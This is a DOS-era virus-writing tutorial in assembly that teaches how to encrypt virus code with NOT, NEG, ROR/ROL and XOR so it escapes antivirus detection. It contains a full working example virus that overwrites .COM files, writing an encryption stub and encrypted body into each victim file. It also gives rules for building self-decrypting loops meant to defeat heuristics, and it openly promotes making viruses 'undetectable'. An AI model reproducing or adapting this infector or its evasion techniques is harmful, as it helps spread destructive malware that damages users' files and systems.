home *** CD-ROM | disk | FTP | other *** search
- -- An effort to help the naked virus. Encryption: Part 2
- -- By: Sea4
-
- Well, I hope I have answered all your questions about XOR and why virii
- need to hide behind encryption in Part 1. Now for the fun part of encryption.
- Using everything besides XOR to change the bytes in your virii. XOR is good,
- and certainly has uses, but nowadays its been done to death, IMHO. It should
- be used with the other bit manipulators to form more complex, and hopefully
- undetectable algorithms for encrypting. A quick list might help get us started
- with the other useful instructions. Not, Neg, Ror, and rol are the ones I
- think are neccassary to viral survival, they must be used in certain ways
- though to allow proper decryption.
-
- NOT:
- ----
- Its actually even more easy to understand than XOR but not used
- as much as I would like. Anyway... all it does is reverse the bits in an
- operand. So something like this:
-
- NOT BL
-
- Would change all the 1 bits from BL into 0 bits and vice versa. A
- small graph could help you understand it a bit more.
-
- BL = B4h = 180d = 10110100b
-
- NOT 101101000b <-- Only requires one operand.
- ----------
- 010010111b <-- Result is placed in the same operand.
-
- As you can see its quite simple to understand, anything that was 1 is
- now 0 and likewise, anything that was 0 is now 1. This is one of the easiest
- to put into encryption too, because it takes 1 operand ( the value you want
- to reverse ). Furthermore, you may realize that if you preform the NOT again
- you come out with your original value :).
-
- We'll use the INT 21h instruction, to see what happens to it, because it
- is one of the more commonly used commands in virii. Lets assume AX has been
- set with the INT 21h command, and now its ready to be encrypted.
-
- NOT AX
-
- AX = CD21h = 52513d = 11001101-00100001b
-
- NOT 11001101-00100001b ; Original value of AX
- -------- --------
- 00110010-11011110b ; End result = AX = 3D2Eh = 15662d
- ^--AH--^ ^--AL--^
-
- Now we go from CD21h to 3D2Eh in one simple command ( 2 bytes long ),
- and we change our 'INT 21h' into a harmless 'CMP AX,??2Eh' where ?? is the
- next byte in the progge. Thats all I have to say about NOT for now until we
- get to using all the instructions together. Thats where the real excitement
- begins.
-
- * Here is an example virus written explicitly for this tutorial.
- * Its shows how NOT AL can be implemented into a full fledged virus.
-
- -- Begin Virus --
- Start:
- jmp Buffer ; Skip encrypt on first run!
- ;mov cx,End_virus-Hidden
- lea si,Hidden
- mov di,si
- call Encrypt
- jmp Hidden
-
- Encrypt: ; Encryption loop, this is the only thing
- lodsb ; that needs changing between different encryption
- not al ; commands.
- stosb
- loop Encrypt
- ret
-
- Hidden:
- mov ah,4Eh ; Find COM files for infection
- Find_next:
- xor cx,cx
- lea dx,Filemask
- int 21h
- jnc Open
-
- Exit:
- int 20h ; Close down virus
-
- filemask db '*.com',0
- virus db '[Crypt]',0
- author db 'Sea4, CodeBreakers',0
-
- Open:
- mov ax,3D02h ; Open File for read/write
- mov dx,9Eh
- int 21h
-
- xchg bx,ax ; Move file handle
-
- lea dx,Start ; Write the encryption routine
- mov cx,Hidden-Start
- mov ah,40h
- int 21h
-
- lea di,Buffer ; Encrypt virus to buffer
- lea si,Hidden
- mov cx,End_virus-Hidden
- push cx
- call Encrypt
-
- lea dx,buffer ; Write that buffer to victim
- pop cx
- mov ah,40h
- int 21h
-
- mov ah,3eh ; Close victim file
- int 21h
-
- mov ah,4Fh ; Find next COM file
- jmp Find_next
-
-
- End_Virus:
- Buffer:
- lea di,Start ; Overwrites 'jmp Buffer' with 'mov cx,End_virus-Hidden'
- lea si,New_Bytes
- movsw
- movsb
- jmp Hidden
-
- New_Bytes:
- mov cx,End_Virus-Hidden
- -- End of Virus --
-
-
- ROR/ROL:
- --------
- We'll skip NEG for now and explain ROR, and ROL. Basically all they do
- is Rotate Right and Rotate Left. But you may ask, "Ummm, ok... I know WHERE
- they rotate, but WHAT do they rotate?". Its simple, they rotate bits... isn't
- that what we've been discussing? They take a value like 23h, and rotate the
- bits in it a specified # of places. The first operand is the one that will
- get rotated and the second is how many places it will be rotated. Again, lets
- use a short example.
-
- MOV AL,23h ; Loads AL with 23h
- ROR AL,1 ; Rotates the bits in 23h, 1 place to the right.
-
- Now for graphs...
-
- AL = 23h = 35d = 00100011b ; We are gonna drop the 'b' in this example
- ; so it doesn't get in the way.
- 00100011 ; 23h = 35d
- ROR ; Moves the Bytes '-->' 1 place
- --------
- 10010001 ; 91h = 145d
-
- ^-- This bit came from the end of the other side, and since we are
- ROTATING the bits, it wraps around to the other side. Its almost as
- though the bits were on a wheel, if you imagine it in your head like
- that its very simple to understand.
-
- Now, any Tom, Dick or Harry knows that the value of AL just changed,
- so in essence we encrypted the byte, and we could use the 'ROL AL,1' command
- to get back our original byte, but that would require another command. And
- more commands equal more bytes, and more bytes means our virus will be more
- noticable. Noticable is BAD! We do not like noticable ( *Hint*: thats why
- we are learning encryption in the first place! ). So how can we utilize the
- ROR/ROL commands without wasting bytes...? Simple, we make it so that the
- second operand is equal to 4!! "Why 4 places?" Well... look at the graphs.
-
- ROR AL,4 ; Rotates the bits four places
-
- AL = 23h = 35d = 00100011b ; AL's value
-
- ROL 4
- 00100011 ; Starting number ; 23h
- <-- ; Rol 1 place
- 01000110 ; After 1 place ; 46h
- <-- ; Rol 1 more place
- 10001100 ; After 2 places ; 8Ch
- <-- ; Rol 1 more place
- 00011001 ; After 3 places ; 19h
- <-- ; Last time ( here is the interesting part )
- 00110010 ; After 4th place ; 32h
- ^^--What happened here?
-
- I am not sure if you noticed but the HEX number rotated 1 place. 23h
- has now become 32h, pretty fucking cool for our purposes. You may again be
- jumping ahead of me in saying that "If we do another 'ROL AL,4' we will get
- back the original value of AL!!". Well, you would be perfectly right in that
- assumption. If a byte is 8 bits, and we rotate 4 bits... thats halfway! And
- so if we rotate another 4 bits, we have rotated the whole byte getting back
- to the original bit positions AND our original value.
-
- Rotating the first 4 bits is the encryption, and rotating the second 4
- bits could be called the decryption. WOW! Like 'XOR AL,DL' ( in the first
- part of my encryption article ), and like the NOT command that we just did...
- the ROR/ROL instructions work twice the job with half the size. That is what
- we want!
-
- Ok, heres the part of the previous example that changes...
- its not very much as you may notice.
-
- Encrypt:
- lodsb
- ror al,4
- stosb
- loop Encrypt
- ret
- ====================================
- or with ROL...
-
- Encrypt:
- lodsb
- rol al,4
- stosb
- loop Encrypt
- ret
-
-
- NEG:
- ----
- To finish up the track we are on now, ( that is using one command for
- both encryption and decryption ), we are gonna cover the often forgotten NEG
- command. Like its sibling, the NOT command, it only uses 1 operand... the one
- we want to alter. Unlike NOT, and the other bit manipulators, it is based
- on value rather than the bits themselves. All it does is take the operand
- and subtract it from 00h ( or 0000h if it is a word [2 bytes] ). We have to
- use the graphs here because its hard to explain with words.
-
- MOV AL,23h ; Gives 23h to AL
- NEG AL ; Subtracts AL from 00h (or 100h to better visualize it)
- ; and places the resulting value in AL.
-
- AL = 23h = 35d = (binary doesn't matter here)
-
- ; It doesn't matter which because a byte is only 2 places
- 00h or 100h ; any value outside those 2 places is ignored.
- - 23h - 23h ; Subtracts 23h ( Trust me! NEG works out at the end ).
- --- ----
- DDh 0DDh ; See? They both end up equal to DDh
-
- Heres the decimal equivalant for those aren't very good with hex.
-
- 256d ; 256d = 100h ( or 00h when working with just 1 byte )
- - 35d ; 35d = 23h
- ---
- 221d ; 221d = DDh
-
- "Well Sea, thats fucking great! Why the hell do I care?" Well, if you
- were paying close attention to the other commands ( NOT/ROR/ROL/XOR ) you
- would realize they all can be done twice to arrive at the original number.
- Now if thats true here, we have found another command that can preform
- encryption on first run, and decryption the second time. Lets see if good ol'
- NEG can do that:
-
- Decimal Hex
- ------- ---
- 256d 100h or 00h ; What NEG always subtracts from!
- -221d - DDh or -DDh ; The value we ended up with last time
- ---- ---- ---
- 35d 23h 23h ; The Number we started with
-
- IT WORKED!!! Neg is a useful encryption instruction. Well... well... don't
- you owe me an apology, don't you?
-
- And lastly here is an example section using NEG...
-
- Encrypt:
- lodsb
- neg al
- stosb
- loop Encrypt
- ret
-
-
- Hopefully you understand that each of those instructions does well by
- itself. Unfortunetly, there are times when they don't work. The command does
- what it should, but the resulting byte is the same as the one you started
- with. For example: ROR/ROL switch the hex characters from something like
- 23h to 32h by rotating four places... but with CCh, DDh, AAh, etc. the result
- is the not really encrypted. Another example is NEGing by 0 or 80h, if you do
- the proper math they both end up with their starting values. They may be
- rare, but they still happen. So what is there to do about such 'errors'?
-
- I hope you figured it out! I may have mentioned it before, but if you
- combine 2 or more of these instructions they can have a great effect on the
- complexity of the encryption. How do you do it right though? Just slapping
- commands together is risky. You can do what I do and make a dual function
- De/Encryption loop. In the first part of my encryption tutorial I gave an
- example virus with the following loop:
-
- -- Start
- Encrypt: ; This has been slightly modified to provide a better
- ; understanding of what is going on.
-
- lodsb ; Stores the byte from [SI] into AL ( I call it the
- ; victim byte ), then increments SI.
-
- "encryption command" ; This modifies AL with one of the following
- ; encryption commands.
- ; not al
- ; neg al
- ; ror al,4
- ; rol al,4
- ; xor al,?? ( ?? can equal a value or a byte sized register )
-
- stosb ; Stores AL into the byte at [DI] and then increments
- ; DI.
-
- loop Encrypt ; Decrements CX, then if CX is not 0 it jumps to the
- ; specified location ( in this case 'EncLoop' ).
-
- ret ; Goes back to caller, the stack cannot be modified
- ; because of this command.
- -- End
-
- It only needs SI (where to get the bytes to encrypt), DI (where to put
- the encrypted bytes), and CX for the number of bytes. After it is called it
- does the encryption routine on the specified region, and jumps back to the
- caller. The outer parts with the 'loop' and such are basic things that will
- not need to be changed much with each different virus or encryption routine.
- Where it says "encryption command" is the important part.
-
- We do what is called 'plugging in'... since the shell just holds the
- part we care about, we can take out, and put in what we want. There are a few
- criteria though.
-
- 1) Since the 'victim byte' is AL, the encryption commands should modify...
- You guessed it, AL!
-
- 2) Another thing is that the encryption should NOT modify CX, DI, SI or
- the Stack ( SP ) unless you know what you are doing.
-
- 3) The most important point for us though, is that we should be able to
- run the Encrypt loop on anything twice, and end up with the starting
- byte. This is important because we are gonna use the same loop to
- encrypt AND decrypt. Saves space and makes it look cool.
-
- The commands 'NOT AL', and 'NEG AL' by themselves do that perfectly, but
- we already realized the need for more than one. So how do we get them to play
- nicely together? Its a simple idea, but hard to explain. I'll give you an
- easy example to start with, and explain it afterward.
-
- Not al ; Oposite bits of AL
- Neg al ; NEGs AL or ( NEGates AL )
- Not al ; Oposite bits of AL again
-
- OK, pay close attention here! This meets the first criteria and the 2nd,
- but does it meet the 3rd? By itself its hard to see, but remember that this
- has to be run twice to check its validity, so lets pretend we ran it twice.
- It would look more like this then...
-
- First Run
- Not AL
- Neg AL
- Not AL ; Byte is now encrypted
- Second Run
- Not AL
- Neg AL
- Not AL ; Byte is now decrypted
-
- "Who cares, it just does it twice... it encrypts it even more!" Not so!
- They cancel each other out! Here is a very important graph...
-
- Not AL *-----------|
- Neg AL *------| |
- Not AL *-| | |
- -- | | |
- Not AL *-| | |
- Neg AL *------| |
- Not AL *-----------|
-
- The last command of the first run cancels the first command of the last
- run, and vice versa! And the middle commands cancel each other! Isn't it
- great. No matter what number goes through the first thing, it comes out
- encrypted, but after going through again, it becomes decrypted! Just follow
- the lines and review the last few paragraphs till you realize what is going
- on. Its kind of like stacking plates on top of each other to encrypt, and
- then taking them off in reverse order to decrypt.
-
- Now to make sure you get the full impact of this, here is a larger
- example with the same type of graph, but this time if you look at it as
- canceling ITSELF, you can create loops as fast as you can type em.
-
- xor al,C4h ; Start stacking the plates...
- | neg al
- | | ror al,4
- | | | xor al,E3h
- | | | | *not al ; Last plate
- | | | xor al,E3h ; Start taking em off
- | | ror al,4
- | neg al
- xor al,C4h
-
- Now... how does it cancel itself. Notice that 'not al' is the only
- instruction that is not repeated. It is also the center of the routine. If
- you removed the 'not al' you would notice that the routine would do nothing
- at all to any victem byte, but since we have a command at the center that
- changes that, its works! So after running those 9 commands we get an ecrypted
- byte. After running them again the byte becomes decrypted. If you are gonna
- build a loop like this, try not to make it too long. Here are some basic
- rules...
-
- 1) Always have a center instruction
- 2) Make sure all the commands are reversible... like if you did them twice
- to the same byte, it would encrypt then decrypt.
- 3) Commands after the center command, should be in reverse order. Like above.
- 4) You shouldn't modify the stack, CX, SI, or DI unless you are sure.
- 5) Don't do the same command twice in a row, like...
- xor al,4h
- xor al,4h
- not al
- xor al,4h
- xor al,4h
- They just cancel each other out, and you really only end up encrypting with
- a 'not al'.
- 6) Another combination you shouldn't use is
- not al
- xor al,0FFh
- XORing by FFh or FFFFh is the same as NOT. So this would be a waste.
-
- Well thats all there is to know about how those instructions work, but
- now for how to put them into a virus. Above I showed you an example of a
- dual function, encryption/decryption loop... here is again for those of you
- not paying attention.
- :: Comments were removed ::
- -- Start
- Encrypt:
- lodsb
-
- "encryption command"
- ; not al
- ; neg al
- ; ror al,4
- ; rol al,4
- ; xor al,?? ( ?? can equal a value or a bytes sized register )
-
- stosb
- loop EncLoop
- ret
- -- End
-
- Where it says "encryption command" is where you can put any combination
- of commands that fit the above rules. Just use the example virus from the
- section about NOT and plug in your encryption routine. Test it out and make
- sure it works.
-
- Yup, that seems all you need to know to make more complex stuff than
- simple XOR. There are several advantages, like many more different possible
- encrypted versions, less likey that it will be recognized as a decryption
- routine by heuristics, and its more creative. Of course, we are not even
- half-way through what I know about encryption. Here are a few of the things
- I still want to teach:
-
- 1) More encrypting commands... SUB, ADD, and XCHG!
- 2) Encrypting word sized values with XOR, 65,535 different keys!!
- 3) A little idea from a fellow CodeBreaker ( Aperson ), using the victem
- file's own bytes to encrypt against!
- 4) Using ROR/ROL with values other than 4!
- 5) Double and Triple level encryption!
- 6) That appending example I promised.
- 7) How to change the values used to XOR with, randomness, system clock,
- and the incremental way.
-